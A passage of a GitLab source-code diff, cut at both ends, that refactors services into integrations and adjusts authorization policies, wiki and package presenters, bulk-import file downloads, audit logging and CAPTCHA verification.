+ return false if bot?
+ return false unless password_expired? && password_automatically_set?
return false unless allow_password_authentication?
- password_expired?
+ true
end
def can_be_deactivated?
diff --git a/app/models/user_callout.rb b/app/models/user_callout.rb
index 2e8ff1b7b49..854992dcd1e 100644
--- a/app/models/user_callout.rb
+++ b/app/models/user_callout.rb
@@ -31,7 +31,11 @@ class UserCallout < ApplicationRecord
pipeline_needs_banner: 29,
pipeline_needs_hover_tip: 30,
web_ide_ci_environments_guidance: 31,
- security_configuration_upgrade_banner: 32
+ security_configuration_upgrade_banner: 32,
+ cloud_licensing_subscription_activation_banner: 33, # EE-only
+ trial_status_reminder_d14: 34, # EE-only
+ trial_status_reminder_d3: 35, # EE-only
+ security_configuration_devops_alert: 36 # EE-only
}
validates :user, presence: true
diff --git a/app/models/wiki.rb b/app/models/wiki.rb
index 7fc01f373c8..e114e30d589 100644
--- a/app/models/wiki.rb
+++ b/app/models/wiki.rb
@@ -7,6 +7,8 @@ class Wiki
include Gitlab::Utils::StrongMemoize
include GlobalID::Identification
+ extend ActiveModel::Naming
+
MARKUPS = { # rubocop:disable Style/MultilineIfModifier
'Markdown' => :markdown,
'RDoc' => :rdoc,
@@ -86,6 +88,7 @@ class Wiki
def create_wiki_repository
repository.create_if_not_exists
+ change_head_to_default_branch
raise CouldNotCreateWikiError unless repository_exists?
rescue StandardError => err
@@ -172,6 +175,7 @@ class Wiki
commit = commit_details(:created, message, title)
wiki.write_page(title, format.to_sym, content, commit)
+ repository.expire_status_cache if repository.empty?
after_wiki_activity
true
@@ -246,7 +250,7 @@ class Wiki
override :default_branch
def default_branch
- wiki.class.default_ref
+ super || Gitlab::Git::Wiki.default_ref(container)
end
def wiki_base_path
@@ -273,6 +277,19 @@ class Wiki
@repository = nil
end
+ def capture_git_error(action, &block)
+ yield block
+ rescue Gitlab::Git::Index::IndexError,
+ Gitlab::Git::CommitError,
+ Gitlab::Git::PreReceiveError,
+ Gitlab::Git::CommandError,
+ ArgumentError => error
+
+ Gitlab::ErrorTracking.log_exception(error, action: action, wiki_id: id)
+
+ false
+ end
+
private
def multi_commit_options(action, message = nil, title = nil)
@@ -306,17 +323,14 @@ class Wiki
"#{user.username} #{action} page: #{title}"
end
- def capture_git_error(action, &block)
- yield block
- rescue Gitlab::Git::Index::IndexError,
- Gitlab::Git::CommitError,
- Gitlab::Git::PreReceiveError,
- Gitlab::Git::CommandError,
- ArgumentError => error
-
- Gitlab::ErrorTracking.log_exception(error, action: action, wiki_id: id)
+ def change_head_to_default_branch
+ # If the wiki has commits in the 'HEAD' branch means that the current
+ # HEAD is pointing to the right branch. If not, it could mean that either
+ # the repo has just been created or that 'HEAD' is pointing
+ # to the wrong branch and we need to rewrite it
+ return if repository.raw_repository.commit_count('HEAD') != 0
- false
+ repository.raw_repository.write_ref('HEAD', "refs/heads/#{default_branch}")
end
end
diff --git a/app/models/wiki_page.rb b/app/models/wiki_page.rb
index 9ae5a870323..25438581f2f 100644
--- a/app/models/wiki_page.rb
+++ b/app/models/wiki_page.rb
@@ -40,7 +40,6 @@ class WikiPage
end
validates :title, presence: true
- validates :content, presence: true
validate :validate_path_limits, if: :title_changed?
validate :validate_content_size_limit, if: :content_changed?
diff --git a/app/policies/group_policy.rb b/app/policies/group_policy.rb
index ba06b98e906..0b0edc7c452 100644
--- a/app/policies/group_policy.rb
+++ b/app/policies/group_policy.rb
@@ -156,6 +156,7 @@ class GroupPolicy < BasePolicy
enable :set_note_created_at
enable :set_emails_disabled
enable :change_prevent_sharing_groups_outside_hierarchy
+ enable :change_new_user_signups_cap
enable :update_default_branch_protection
enable :create_deploy_token
enable :destroy_deploy_token
diff --git a/app/policies/project_policy.rb b/app/policies/project_policy.rb
index 3cb4644a60d..85547834a2e 100644
--- a/app/policies/project_policy.rb
+++ b/app/policies/project_policy.rb
@@ -51,11 +51,12 @@ class ProjectPolicy < BasePolicy
desc "Container registry is disabled"
condition(:container_registry_disabled, scope: :subject) do
- if ::Feature.enabled?(:read_container_registry_access_level, @subject&.namespace, default_enabled: :yaml)
- !access_allowed_to?(:container_registry)
- else
- !project.container_registry_enabled
- end
+ !access_allowed_to?(:container_registry)
+ end
+
+ desc "Container registry is enabled for everyone with access to the project"
+ condition(:container_registry_enabled_for_everyone_with_access, scope: :subject) do
+ project.container_registry_access_level == ProjectFeature::ENABLED
end
desc "Project has an external wiki"
@@ -158,6 +159,10 @@ class ProjectPolicy < BasePolicy
::Feature.enabled?(:build_service_proxy, @subject)
end
+ condition(:respect_protected_tag_for_release_permissions) do
+ ::Feature.enabled?(:evalute_protected_tag_for_release_permissions, @subject, default_enabled: :yaml)
+ end
+
condition(:user_defined_variables_allowed) do
!@subject.restrict_user_defined_variables?
end
@@ -297,10 +302,13 @@ class ProjectPolicy < BasePolicy
enable :guest_access
enable :build_download_code
- enable :build_read_container_image
enable :request_access
end
+ rule { container_registry_enabled_for_everyone_with_access & can?(:public_user_access) }.policy do
+ enable :build_read_container_image
+ end
+
rule { (can?(:public_user_access) | can?(:reporter_access)) & forking_allowed }.policy do
enable :fork_project
end
@@ -649,6 +657,10 @@ class ProjectPolicy < BasePolicy
rule { build_service_proxy_enabled }.enable :build_service_proxy_enabled
+ rule { respect_protected_tag_for_release_permissions & can?(:developer_access) }.policy do
+ enable :destroy_release
+ end
+
rule { can?(:download_code) }.policy do
enable :read_repository_graphs
end
diff --git a/app/policies/release_policy.rb b/app/policies/release_policy.rb
index d7f9e5d7445..bff80d83bef 100644
--- a/app/policies/release_policy.rb
+++ b/app/policies/release_policy.rb
@@ -2,4 +2,20 @@
class ReleasePolicy < BasePolicy
delegate { @subject.project }
+
+ condition(:protected_tag) do
+ access = ::Gitlab::UserAccess.new(@user, container: @subject.project)
+
+ !access.can_create_tag?(@subject.tag)
+ end
+
+ condition(:respect_protected_tag) do
+ ::Feature.enabled?(:evalute_protected_tag_for_release_permissions, @subject.project, default_enabled: :yaml)
+ end
+
+ rule { respect_protected_tag & protected_tag }.policy do
+ prevent :create_release
+ prevent :update_release
+ prevent :destroy_release
+ end
end
diff --git a/app/policies/releases/link_policy.rb b/app/policies/releases/link_policy.rb
index 4a662fafb2f..67a94733c7d 100644
--- a/app/policies/releases/link_policy.rb
+++ b/app/policies/releases/link_policy.rb
@@ -2,6 +2,6 @@
module Releases
class LinkPolicy < BasePolicy
- delegate { @subject.release.project }
+ delegate { @subject.release }
end
end
diff --git a/app/presenters/blob_presenter.rb b/app/presenters/blob_presenter.rb
index 56dd056b9bc..ecc16e2840c 100644
--- a/app/presenters/blob_presenter.rb
+++ b/app/presenters/blob_presenter.rb
@@ -26,6 +26,10 @@ class BlobPresenter < Gitlab::View::Presenter::Delegated
highlight(plain: false)
end
+ def raw_plain_data
+ blob.data unless blob.binary?
+ end
+
def web_url
url_helpers.project_blob_url(project, ref_qualified_path)
end
diff --git a/app/presenters/ci/build_runner_presenter.rb b/app/presenters/ci/build_runner_presenter.rb
index 5b233ad89ec..52f4a4e71a1 100644
--- a/app/presenters/ci/build_runner_presenter.rb
+++ b/app/presenters/ci/build_runner_presenter.rb
@@ -82,7 +82,7 @@ module Ci
expire_in: artifacts[:expire_in]
}
- if artifacts.dig(:exclude).present? && ::Gitlab::Ci::Features.artifacts_exclude_enabled?
+ if artifacts.dig(:exclude).present?
archive.merge(exclude: artifacts[:exclude])
else
archive
diff --git a/app/presenters/commit_status_presenter.rb b/app/presenters/commit_status_presenter.rb
index e62e2fac835..5f5bbf13f92 100644
--- a/app/presenters/commit_status_presenter.rb
+++ b/app/presenters/commit_status_presenter.rb
@@ -26,7 +26,8 @@ class CommitStatusPresenter < Gitlab::View::Presenter::Delegated
project_deleted: 'The job belongs to a deleted project',
user_blocked: 'The user who created this job is blocked',
ci_quota_exceeded: 'No more CI minutes available',
- no_matching_runner: 'No matching runner available'
+ no_matching_runner: 'No matching runner available',
+ trace_size_exceeded: 'The job log size limit was reached'
}.freeze
private_constant :CALLOUT_FAILURE_MESSAGES
diff --git a/app/presenters/dev_ops_report/metric_presenter.rb b/app/presenters/dev_ops_report/metric_presenter.rb
index 46b580d1f2a..4d7ac1cd3ec 100644
--- a/app/presenters/dev_ops_report/metric_presenter.rb
+++ b/app/presenters/dev_ops_report/metric_presenter.rb
@@ -50,7 +50,7 @@ module DevOpsReport
description: 'created per active user',
feature: 'ci_pipelines',
blog: 'https://martinfowler.com/bliki/ContinuousDelivery.html',
- docs: help_page_path('ci/README')
+ docs: help_page_path('ci/index')
),
Card.new(
metric: subject,
diff --git a/app/presenters/gitlab/blame_presenter.rb b/app/presenters/gitlab/blame_presenter.rb
index 3c581d4b115..26c78384144 100644
--- a/app/presenters/gitlab/blame_presenter.rb
+++ b/app/presenters/gitlab/blame_presenter.rb
@@ -50,7 +50,7 @@ module Gitlab
def get_commit_data(commit)
CommitData.new.tap do |data|
- data.author_avatar = author_avatar(commit, size: 36, has_tooltip: false)
+ data.author_avatar = author_avatar(commit, size: 36, has_tooltip: false, lazy: true)
data.age_map_class = age_map_class(commit.committed_date, project_duration)
data.commit_link = link_to commit.title, project_commit_path(project, commit.id), class: "cdark", title: commit.title
data.commit_author_link = commit_author_link(commit, avatar: false)
diff --git a/app/presenters/merge_request_presenter.rb b/app/presenters/merge_request_presenter.rb
index 7d0fa9e2f8a..6bf5e0bd1b0 100644
--- a/app/presenters/merge_request_presenter.rb
+++ b/app/presenters/merge_request_presenter.rb
@@ -19,8 +19,8 @@ class MergeRequestPresenter < Gitlab::View::Presenter::Delegated
status || "preparing"
else
- ci_service = source_project.try(:ci_service)
- ci_service&.commit_status(diff_head_sha, source_branch)
+ ci_integration = source_project.try(:ci_integration)
+ ci_integration&.commit_status(diff_head_sha, source_branch)
end
end
diff --git a/app/presenters/packages/helm/index_presenter.rb b/app/presenters/packages/helm/index_presenter.rb
new file mode 100644
index 00000000000..a6cfc61c94d
--- /dev/null
+++ b/app/presenters/packages/helm/index_presenter.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module Packages
+ module Helm
+ class IndexPresenter
+ include API::Helpers::RelatedResourcesHelpers
+
+ API_VERSION = 'v1'
+ CHANNEL = 'channel'
+ INDEX_YAML_SUFFIX = "/#{CHANNEL}/index.yaml"
+
+ def initialize(project, project_id_param, package_files)
+ @project = project
+ @project_id_param = project_id_param
+ @package_files = package_files
+ end
+
+ def api_version
+ API_VERSION
+ end
+
+ def entries
+ files = @package_files.preload_helm_file_metadata
+ result = Hash.new { |h, k| h[k] = [] }
+
+ files.find_each do |package_file|
+ name = package_file.helm_metadata['name']
+ result[name] << package_file.helm_metadata.merge({
+ 'created' => package_file.created_at.utc.strftime('%Y-%m-%dT%H:%M:%S.%NZ'),
+ 'digest' => package_file.file_sha256,
+ 'urls' => ["charts/#{package_file.file_name}"]
+ })
+ end
+
+ result
+ end
+
+ def generated
+ Time.zone.now.utc.strftime('%Y-%m-%dT%H:%M:%S.%NZ')
+ end
+
+ def server_info
+ path = api_v4_projects_packages_helm_index_yaml_path(
+ id: ERB::Util.url_encode(@project_id_param),
+ channel: CHANNEL
+ )
+ {
+ 'contextPath' => path.delete_suffix(INDEX_YAML_SUFFIX)
+ }
+ end
+ end
+ end
+end
diff --git a/app/presenters/packages/nuget/presenter_helpers.rb b/app/presenters/packages/nuget/presenter_helpers.rb
index cc7e8619220..09bf1e009a6 100644
--- a/app/presenters/packages/nuget/presenter_helpers.rb
+++ b/app/presenters/packages/nuget/presenter_helpers.rb
@@ -8,6 +8,7 @@ module Packages
BLANK_STRING = ''
PACKAGE_DEPENDENCY_GROUP = 'PackageDependencyGroup'
PACKAGE_DEPENDENCY = 'PackageDependency'
+ NUGET_PACKAGE_FORMAT = 'nupkg'
private
@@ -31,7 +32,7 @@ module Packages
id: package.project_id,
package_name: package.name,
package_version: package.version,
- package_filename: package.package_files.last&.file_name
+ package_filename: package.package_files.with_format(NUGET_PACKAGE_FORMAT).last&.file_name
},
true
)
diff --git a/app/presenters/packages/nuget/service_index_presenter.rb b/app/presenters/packages/nuget/service_index_presenter.rb
index b3cc912b811..033a1845c1c 100644
--- a/app/presenters/packages/nuget/service_index_presenter.rb
+++ b/app/presenters/packages/nuget/service_index_presenter.rb
@@ -8,6 +8,7 @@ module Packages
SERVICE_VERSIONS = {
download: %w[PackageBaseAddress/3.0.0],
search: %w[SearchQueryService SearchQueryService/3.0.0-beta SearchQueryService/3.0.0-rc],
+ symbol: %w[SymbolPackagePublish/4.9.0],
publish: %w[PackagePublish/2.0.0],
metadata: %w[RegistrationsBaseUrl RegistrationsBaseUrl/3.0.0-beta RegistrationsBaseUrl/3.0.0-rc]
}.freeze
@@ -15,13 +16,14 @@ module Packages
SERVICE_COMMENTS = {
download: 'Get package content (.nupkg).',
search: 'Filter and search for packages by keyword.',
+ symbol: 'Push symbol packages.',
publish: 'Push and delete (or unlist) packages.',
metadata: 'Get package metadata.'
}.freeze
VERSION = '3.0.0'
- PROJECT_LEVEL_SERVICES = %i[download publish].freeze
+ PROJECT_LEVEL_SERVICES = %i[download publish symbol].freeze
GROUP_LEVEL_SERVICES = %i[search metadata].freeze
def initialize(project_or_group)
@@ -63,6 +65,8 @@ module Packages
download_service_url
when :search
search_service_url
+ when :symbol
+ symbol_service_url
when :metadata
metadata_service_url
when :publish
@@ -124,6 +128,10 @@ module Packages
def publish_service_url
api_v4_projects_packages_nuget_path(id: @project_or_group.id)
end
+
+ def symbol_service_url
+ api_v4_projects_packages_nuget_symbolpackage_path(id: @project_or_group.id)
+ end
end
end
end
diff --git a/app/presenters/project_presenter.rb b/app/presenters/project_presenter.rb
index fcd3189296a..0d038d19af3 100644
--- a/app/presenters/project_presenter.rb
+++ b/app/presenters/project_presenter.rb
@@ -135,10 +135,6 @@ class ProjectPresenter < Gitlab::View::Presenter::Delegated
ide_edit_path(project, default_branch_or_main, 'README.md')
end
- def add_ci_yml_path
- add_special_file_path(file_name: ci_config_path_or_default)
- end
-
def add_code_quality_ci_yml_path
add_special_file_path(
file_name: ci_config_path_or_default,
diff --git a/app/presenters/search_service_presenter.rb b/app/presenters/search_service_presenter.rb
index e14446bb2f7..ab43800b9f2 100644
--- a/app/presenters/search_service_presenter.rb
+++ b/app/presenters/search_service_presenter.rb
@@ -16,7 +16,7 @@ class SearchServicePresenter < Gitlab::View::Presenter::Delegated
blobs: :with_web_entity_associations
}.freeze
- SORT_ENABLED_SCOPES = %w(issues merge_requests).freeze
+ SORT_ENABLED_SCOPES = %w(issues merge_requests epics).freeze
def search_objects
@search_objects ||= begin
diff --git a/app/presenters/snippet_blob_presenter.rb b/app/presenters/snippet_blob_presenter.rb
index e9c710e4a0f..0003a13a7bc 100644
--- a/app/presenters/snippet_blob_presenter.rb
+++ b/app/presenters/snippet_blob_presenter.rb
@@ -17,6 +17,10 @@ class SnippetBlobPresenter < BlobPresenter
snippet_blob_raw_route
end
+ def raw_plain_data
+ blob.data unless blob.binary?
+ end
+
private
def snippet
diff --git a/app/serializers/analytics/cycle_analytics/stage_entity.rb b/app/serializers/analytics/cycle_analytics/stage_entity.rb
index b24148802d0..c5cc8c89fb7 100644
--- a/app/serializers/analytics/cycle_analytics/stage_entity.rb
+++ b/app/serializers/analytics/cycle_analytics/stage_entity.rb
@@ -9,6 +9,21 @@ module Analytics
expose :description
expose :id
expose :custom
+
+ # new API
+ expose :start_event do
+ expose :start_event_identifier, as: :identifier, if: -> (s) { s.custom? }
+ expose :start_event_label, as: :label, using: LabelEntity, if: -> (s) { s.start_event_label_based? }
+ expose :start_event_html_description, as: :html_description
+ end
+
+ expose :end_event do
+ expose :end_event_identifier, as: :identifier, if: -> (s) { s.custom? }
+ expose :end_event_label, as: :label, using: LabelEntity, if: -> (s) { s.end_event_label_based? }
+ expose :end_event_html_description, as: :html_description
+ end
+
+ # old API
expose :start_event_identifier, if: -> (s) { s.custom? }
expose :end_event_identifier, if: -> (s) { s.custom? }
expose :start_event_label, using: LabelEntity, if: -> (s) { s.start_event_label_based? }
diff --git a/app/serializers/merge_request_widget_entity.rb b/app/serializers/merge_request_widget_entity.rb
index 0616d94a1ed..c3e8b66fe12 100644
--- a/app/serializers/merge_request_widget_entity.rb
+++ b/app/serializers/merge_request_widget_entity.rb
@@ -56,7 +56,7 @@ class MergeRequestWidgetEntity < Grape::Entity
end
expose :merge_request_pipelines_docs_path do |merge_request|
- help_page_path('ci/merge_request_pipelines/index.md')
+ help_page_path('ci/pipelines/merge_request_pipelines.md')
end
expose :ci_environments_status_path do |merge_request|
diff --git a/app/serializers/paginated_diff_entity.rb b/app/serializers/paginated_diff_entity.rb
index 1118b1aa4fe..a2a9e7375a0 100644
--- a/app/serializers/paginated_diff_entity.rb
+++ b/app/serializers/paginated_diff_entity.rb
@@ -23,36 +23,13 @@ class PaginatedDiffEntity < Grape::Entity
end
expose :pagination do
- expose :current_page
- expose :next_page
- expose :total_pages
- expose :next_page_href do |diffs|
- next unless next_page
-
- project = merge_request.target_project
-
- diffs_batch_namespace_project_json_merge_request_path(
- namespace_id: project.namespace.to_param,
- project_id: project.to_param,
- id: merge_request.iid,
- page: next_page,
- format: :json
- )
+ expose :total_pages do |diffs, options|
+ options.dig(:pagination_data, :total_pages)
end
end
private
- %i[current_page next_page total_pages].each do |method|
- define_method method do
- pagination_data[method]
- end
- end
-
- def pagination_data
- options.fetch(:pagination_data, {})
- end
-
def merge_request
options[:merge_request]
end
diff --git a/app/serializers/service_event_entity.rb b/app/serializers/service_event_entity.rb
index eb4f9c665f2..a1fbfa1d4c4 100644
--- a/app/serializers/service_event_entity.rb
+++ b/app/serializers/service_event_entity.rb
@@ -10,11 +10,11 @@ class ServiceEventEntity < Grape::Entity
expose :event_field_name, as: :name
expose :value do |event|
- service[event_field_name]
+ integration[event_field_name]
end
expose :description do |event|
- ServicesHelper.service_event_description(event)
+ IntegrationsHelper.integration_event_description(integration, event)
end
expose :field, if: -> (_, _) { event_field } do
@@ -22,7 +22,7 @@ class ServiceEventEntity < Grape::Entity
event_field[:name]
end
expose :value do |event|
- service.public_send(event_field[:name]) # rubocop:disable GitlabSecurity/PublicSend
+ integration.public_send(event_field[:name]) # rubocop:disable GitlabSecurity/PublicSend
end
end
@@ -31,14 +31,14 @@ class ServiceEventEntity < Grape::Entity
alias_method :event, :object
def event_field_name
- ServicesHelper.service_event_field_name(event)
+ IntegrationsHelper.integration_event_field_name(event)
end
def event_field
- @event_field ||= service.event_field(event)
+ @event_field ||= integration.event_field(event)
end
- def service
+ def integration
request.service
end
end
diff --git a/app/services/alert_management/alerts/update_service.rb b/app/services/alert_management/alerts/update_service.rb
index 464d5f2ecea..089715a42fb 100644
--- a/app/services/alert_management/alerts/update_service.rb
+++ b/app/services/alert_management/alerts/update_service.rb
@@ -37,7 +37,6 @@ module AlertManagement
private
attr_reader :alert, :current_user, :params, :param_errors, :status
- delegate :resolved?, to: :alert
def allowed?
current_user&.can?(:update_alert_management_alert, alert)
@@ -129,7 +128,7 @@ module AlertManagement
def handle_status_change
add_status_change_system_note
- resolve_todos if resolved?
+ resolve_todos if alert.resolved?
end
def add_status_change_system_note
@@ -177,3 +176,5 @@ module AlertManagement
end
end
end
+
+AlertManagement::Alerts::UpdateService.prepend_mod
diff --git a/app/services/application_settings/update_service.rb b/app/services/application_settings/update_service.rb
index 7728982779e..0f2099793ea 100644
--- a/app/services/application_settings/update_service.rb
+++ b/app/services/application_settings/update_service.rb
@@ -67,10 +67,8 @@ module ApplicationSettings
end
def update_terms(terms)
- return unless terms.present?
-
# Avoid creating a new terms record if the text is exactly the same.
- terms = terms.strip
+ terms = terms&.strip
return if terms == @application_setting.terms
ApplicationSetting::Term.create(terms: terms)
diff --git a/app/services/audit_event_service.rb b/app/services/audit_event_service.rb
index 60421f61007..558798c830d 100644
--- a/app/services/audit_event_service.rb
+++ b/app/services/audit_event_service.rb
@@ -16,7 +16,7 @@ class AuditEventService
@author = build_author(author)
@entity = entity
@details = details
- @ip_address = resolve_ip_address(@details, @author)
+ @ip_address = resolve_ip_address(@author)
end
# Builds the @details attribute for authentication
@@ -64,9 +64,8 @@ class AuditEventService
end
end
- def resolve_ip_address(details, author)
- details[:ip_address].presence ||
- Gitlab::RequestContext.instance.client_ip ||
+ def resolve_ip_address(author)
+ Gitlab::RequestContext.instance.client_ip ||
author.current_sign_in_ip
end
diff --git a/app/services/auth/container_registry_authentication_service.rb b/app/services/auth/container_registry_authentication_service.rb
index 5fde346c4ab..d42dcb2fd00 100644
--- a/app/services/auth/container_registry_authentication_service.rb
+++ b/app/services/auth/container_registry_authentication_service.rb
@@ -115,7 +115,25 @@ module Auth
#
ensure_container_repository!(path, authorized_actions)
- { type: type, name: path.to_s, actions: authorized_actions }
+ {
+ type: type,
+ name: path.to_s,
+ actions: authorized_actions,
+ migration_eligible: migration_eligible(requested_project, authorized_actions)
+ }.compact
+ end
+
+ def migration_eligible(project, actions)
+ return unless actions.include?('push')
+ return unless Feature.enabled?(:container_registry_migration_phase1)
+
+ # The migration process will start by allowing only specific test and gitlab-org projects using the
+ # `container_registry_migration_phase1_allow` FF. We'll then move on to a percentage rollout using this same FF.
+ # To remove the risk of impacting enterprise customers that rely heavily on the registry during the percentage
+ # rollout, we'll add their top-level group/namespace to the `container_registry_migration_phase1_deny` FF. Later,
+ # we'll remove them manually from this deny list, and their new repositories will become eligible.
+ Feature.disabled?(:container_registry_migration_phase1_deny, project.root_ancestor) &&
+ Feature.enabled?(:container_registry_migration_phase1_allow, project)
end
##
diff --git a/app/services/base_service.rb b/app/services/base_service.rb
index 7ab87a1af09..3030287e035 100644
--- a/app/services/base_service.rb
+++ b/app/services/base_service.rb
@@ -14,6 +14,7 @@
# or, create a new base class and update this comment.
class BaseService
include BaseServiceUtility
+ include Gitlab::Experiment::Dsl
attr_accessor :project, :current_user, :params
diff --git a/app/services/boards/issues/create_service.rb b/app/services/boards/issues/create_service.rb
index 0639acfb399..e3d4da7fb07 100644
--- a/app/services/boards/issues/create_service.rb
+++ b/app/services/boards/issues/create_service.rb
@@ -30,7 +30,9 @@ module Boards
end
def create_issue(params)
- ::Issues::CreateService.new(project: project, current_user: current_user, params: params).execute
+ # NOTE: We are intentionally not doing a spam/CAPTCHA check for issues created via boards.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/29400#note_598479184 for more context.
+ ::Issues::CreateService.new(project: project, current_user: current_user, params: params, spam_params: nil).execute
end
end
end
diff --git a/app/services/branches/create_service.rb b/app/services/branches/create_service.rb
index 848e6aaa65a..b5faf2ec281 100644
--- a/app/services/branches/create_service.rb
+++ b/app/services/branches/create_service.rb
@@ -9,12 +9,16 @@ module Branches
return result if result[:status] == :error
- new_branch = repository.add_branch(current_user, branch_name, ref)
+ begin
+ new_branch = repository.add_branch(current_user, branch_name, ref)
+ rescue Gitlab::Git::CommandError => e
+ return error("Failed to create branch '#{branch_name}': #{e}")
+ end
if new_branch
success(new_branch)
else
- error("Invalid reference name: #{ref}")
+ error("Failed to create branch '#{branch_name}': invalid reference name '#{ref}'")
end
rescue Gitlab::Git::PreReceiveError => e
Gitlab::ErrorTracking.track_exception(e, pre_receive_message: e.raw_message, branch_name: branch_name, ref: ref)
diff --git a/app/services/bulk_create_integration_service.rb b/app/services/bulk_create_integration_service.rb
index adb989be218..a7fe4c776b7 100644
--- a/app/services/bulk_create_integration_service.rb
+++ b/app/services/bulk_create_integration_service.rb
@@ -8,7 +8,7 @@ class BulkCreateIntegrationService
end
def execute
- service_list = ServiceList.new(batch, service_hash, association).to_array
+ service_list = ServiceList.new(batch, integration_hash, association).to_array
Integration.transaction do
results = bulk_insert(*service_list)
@@ -31,11 +31,11 @@ class BulkCreateIntegrationService
klass.insert_all(items_to_insert, returning: [:id])
end
- def service_hash
+ def integration_hash
if integration.template?
- integration.to_service_hash
+ integration.to_integration_hash
else
- integration.to_service_hash.tap { |json| json['inherit_from_id'] = integration.inherit_from_id || integration.id }
+ integration.to_integration_hash.tap { |json| json['inherit_from_id'] = integration.inherit_from_id || integration.id }
end
end
diff --git a/app/services/bulk_imports/file_download_service.rb b/app/services/bulk_imports/file_download_service.rb
index c5a1241e0a4..9a301c260a9 100644
--- a/app/services/bulk_imports/file_download_service.rb
+++ b/app/services/bulk_imports/file_download_service.rb
@@ -1,18 +1,20 @@
# frozen_string_literal: true
+# Downloads a remote file. If no filename is given, it'll use the remote filename
module BulkImports
class FileDownloadService
- FILE_SIZE_LIMIT = 5.gigabytes
- ALLOWED_CONTENT_TYPES = %w(application/gzip application/octet-stream).freeze
-
ServiceError = Class.new(StandardError)
- def initialize(configuration:, relative_url:, dir:, filename:)
+ REMOTE_FILENAME_PATTERN = %r{filename="(?<filename>[^"]+)"}.freeze
+ FILENAME_SIZE_LIMIT = 255 # chars before the extension
+
+ def initialize(configuration:, relative_url:, dir:, file_size_limit:, allowed_content_types:, filename: nil)
@configuration = configuration
@relative_url = relative_url
@filename = filename
@dir = dir
- @filepath = File.join(@dir, @filename)
+ @file_size_limit = file_size_limit
+ @allowed_content_types = allowed_content_types
end
def execute
@@ -30,7 +32,7 @@ module BulkImports
private
- attr_reader :configuration, :relative_url, :dir, :filename, :filepath
+ attr_reader :configuration, :relative_url, :dir, :file_size_limit, :allowed_content_types
def download_file
File.open(filepath, 'wb') do |file|
@@ -39,7 +41,7 @@ module BulkImports
http_client.stream(relative_url) do |chunk|
bytes_downloaded += chunk.size
- raise(ServiceError, 'Invalid downloaded file') if bytes_downloaded > FILE_SIZE_LIMIT
+ validate_size!(bytes_downloaded)
raise(ServiceError, "File download error #{chunk.code}") unless chunk.code == 200
file.write(chunk)
@@ -53,7 +55,7 @@ module BulkImports
def http_client
@http_client ||= BulkImports::Clients::HTTP.new(
- uri: configuration.url,
+ url: configuration.url,
token: configuration.access_token
)
end
@@ -88,15 +90,59 @@ module BulkImports
end
def validate_content_length
- content_size = headers['content-length']
+ validate_size!(headers['content-length'])
+ end
- raise(ServiceError, 'Invalid content length') if content_size.blank? || content_size.to_i > FILE_SIZE_LIMIT
+ def validate_size!(size)
+ if size.blank?
+ raise ServiceError, 'Missing content-length header'
+ elsif size.to_i > file_size_limit
+ raise ServiceError, "File size %{size} exceeds limit of %{limit}" % {
+ size: ActiveSupport::NumberHelper.number_to_human_size(size),
+ limit: ActiveSupport::NumberHelper.number_to_human_size(file_size_limit)
+ }
+ end
end
def validate_content_type
content_type = headers['content-type']
- raise(ServiceError, 'Invalid content type') if content_type.blank? || ALLOWED_CONTENT_TYPES.exclude?(content_type)
+ raise(ServiceError, 'Invalid content type') if content_type.blank? || allowed_content_types.exclude?(content_type)
+ end
+
+ def filepath
+ @filepath ||= File.join(@dir, filename)
+ end
+
+ def filename
+ @filename.presence || remote_filename
+ end
+
+ # Fetch the remote filename information from the request content-disposition header
+ # - Raises if the filename does not exist
+ # - If the filename is longer then 255 chars truncate it
+ # to be a total of 255 chars (with the extension)
+ def remote_filename
+ @remote_filename ||=
+ headers['content-disposition'].to_s
+ .match(REMOTE_FILENAME_PATTERN) # matches the filename pattern
+ .then { |match| match&.named_captures || {} } # ensures the match is a hash
+ .fetch('filename') # fetches the 'filename' key or raise KeyError
+ .then(&File.method(:basename)) # Ensures to remove path from the filename (../ for instance)
+ .then(&method(:ensure_filename_size)) # Ensures the filename is within the FILENAME_SIZE_LIMIT
+ rescue KeyError
+ raise ServiceError, 'Remote filename not provided in content-disposition header'
+ end
+
+ def ensure_filename_size(filename)
+ if filename.length <= FILENAME_SIZE_LIMIT
+ filename
+ else
+ extname = File.extname(filename)
+ basename = File.basename(filename, extname)[0, FILENAME_SIZE_LIMIT]
+
+ "#{basename}#{extname}"
+ end
end
end
end
diff --git a/app/services/bulk_update_integration_service.rb b/app/services/bulk_update_integration_service.rb
index 29cfd824c12..fc1580ab880 100644
--- a/app/services/bulk_update_integration_service.rb
+++ b/app/services/bulk_update_integration_service.rb
@@ -9,7 +9,7 @@ class BulkUpdateIntegrationService
# rubocop: disable CodeReuse/ActiveRecord
def execute
Integration.transaction do
- Integration.where(id: batch.select(:id)).update_all(service_hash)
+ Integration.where(id: batch.select(:id)).update_all(integration_hash)
if integration.data_fields_present?
integration.data_fields.class.where(service_id: batch.select(:id)).update_all(data_fields_hash)
@@ -22,8 +22,8 @@ class BulkUpdateIntegrationService
attr_reader :integration, :batch
- def service_hash
- integration.to_service_hash.tap { |json| json['inherit_from_id'] = integration.inherit_from_id || integration.id }
+ def integration_hash
+ integration.to_integration_hash.tap { |json| json['inherit_from_id'] = integration.inherit_from_id || integration.id }
end
def data_fields_hash
diff --git a/app/services/captcha/captcha_verification_service.rb b/app/services/captcha/captcha_verification_service.rb
index 45a5a52367c..3ed8ea12f3a 100644
--- a/app/services/captcha/captcha_verification_service.rb
+++ b/app/services/captcha/captcha_verification_service.rb
@@ -7,20 +7,27 @@ module Captcha
class CaptchaVerificationService
include Recaptcha::Verify
+ # Currently the only value that is used out of the request by the reCAPTCHA library
+ # is 'remote_ip'. Therefore, we just create a struct to avoid passing the full request
+ # object through all the service layer objects, and instead just rely on passing only
+ # the required remote_ip value. This eliminates the need to couple the service layer
+ # to the HTTP request (for the purpose of this service, at least).
+ RequestStruct = Struct.new(:remote_ip)
+
+ def initialize(spam_params:)
+ @spam_params = spam_params
+ end
+
##
# Performs verification of a captcha response.
#
- # 'captcha_response' parameter is the response from the user solving a client-side captcha.
- #
- # 'request' parameter is the request which submitted the captcha.
- #
# NOTE: Currently only supports reCAPTCHA, and is not yet used in all places of the app in which
# captchas are verified, but these can be addressed in future MRs. See:
# https://gitlab.com/gitlab-org/gitlab/-/issues/273480
- def execute(captcha_response: nil, request:)
- return false unless captcha_response
+ def execute
+ return false unless spam_params.captcha_response
- @request = request
+ @request = RequestStruct.new(spam_params.ip_address)
